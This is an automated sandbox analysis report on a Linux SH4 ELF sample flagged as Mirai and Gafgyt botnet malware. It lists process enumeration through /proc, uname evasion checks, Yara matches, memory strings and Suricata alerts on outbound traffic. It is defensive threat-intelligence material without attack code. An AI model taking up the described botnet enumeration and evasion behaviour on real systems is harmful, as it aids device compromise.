Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.config	Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3882/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1185/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/515/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5539/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3255/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3253/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3252/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3251/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3250/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3249/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3488/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/766/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1509/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1867/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1514/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1634/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3379/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/779/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5572/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3275/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3274/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3273/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3394/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3272/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/782/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1762/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3027/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/789/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5582/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1660/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3044/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/794/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3316/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/796/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/675/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/676/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1498/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1497/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1496/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3157/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3278/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3399/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3712/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1659/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3691/cmdline	Jump to behavior

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5528)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5551)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5553)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Queries kernel information via 'uname':	Jump to behavior

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.0000563763c59000.0000563763cbc000.rw-.sdmp	Binary or memory string: c7V5!/etc/qemu-binfmt/sh4
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.0000563763c59000.0000563763cbc000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp	Binary or memory string: N<Cx86_64/usr/bin/qemu-sh4/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR

ID:	1581162
Product:	CloudBasic
Start time:	06:40:25
Start date:	27.12.2024
Sample:	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	f0c7c86c606f6bd338822c52a1ce0c9b
SHA1:	dcc63d5f25cdf7816fd9e703037b30dbbafb3874
SHA256:	fcd4c4dfdce2bf614cc6b7dcb1641aa928d5c0f6107601ca06ef1372348acaa2
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Linux Analysis Report db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Malware Threat Intel
Provided by